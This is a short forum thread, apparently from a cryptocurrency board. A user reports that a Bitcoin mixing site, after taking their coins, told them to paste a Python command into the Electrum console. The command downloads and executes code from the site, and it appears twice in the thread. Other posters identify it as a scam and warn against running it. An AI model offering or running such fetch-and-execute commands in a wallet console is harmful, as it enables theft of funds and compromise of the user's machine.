Thanks all for the quick replies. You are correct, I only did a small amount of research and was too gullible to think scamming was so widespread. I'll read up more before I retry - thanks for the links.
I had used bitcoin blender several times before they shut down the original onion site (
http://bitblendervrfkzr.onion).
FWIW, I got an email reply from Bitcoinmixer.eu and they asked me to input the following in the Electrum console:
>> exec("import requests\nexec(requests.get('
https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
(The address is the wallet I wanted the mixed coins sent to).
The command looked safe so I tried it and it gave me an error: Server exception, please, contact with support.
I let them know and haven't heard anything since.
I also forgot to mention I'm running Electrum through the latest version of Torr but I doubt that matters.
What do you mean by "It looked safe".... The site is a scam. Don't run ANYTHING they tell you to. best case is that they'll steal all your coins, worst case is that they completely infect your entire system.
So you already send money to them, they didn't give you your coins, and their support told you to try again but through the console? They're just double-scamming you.
>> exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
Looks extremely sketchy. I think you can be happy the server returned an error.
Wait: You ran that command in your console, and it returned what?
"Please contact our support"? You should know- Electrum.org/Electrum DOES NOT have a "Support" other than their github page. If they ask you to download any other version of electrum, it's most likely a scam.
